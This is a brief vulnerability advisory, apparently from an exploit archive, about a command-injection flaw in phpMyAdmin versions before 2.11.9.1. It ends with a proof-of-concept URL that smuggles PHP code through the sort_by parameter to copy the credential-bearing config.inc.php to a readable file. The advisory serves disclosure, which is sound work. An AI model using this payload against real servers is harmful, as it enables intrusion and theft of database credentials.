9 lines
No EOL
562 B
Text
9 lines
No EOL
562 B
Text
source: https://www.securityfocus.com/bid/31188/info
|
|
|
|
phpMyAdmin is prone to a vulnerability that attackers can leverage to execute arbitrary commands. This issue occurs because the application fails to adequately sanitize user-supplied input.
|
|
|
|
Successful attacks can compromise the affected application and possibly the underlying computer.
|
|
|
|
This issue affects versions prior to phpMyAdmin 2.11.9.1.
|
|
|
|
http://www.example.com/server_databases.php?pos=0&dbstats=0&sort_by="]) OR exec('cp $(pwd)"/config.inc.php" config.txt'); //&sort_order=desc&token=[valid token] |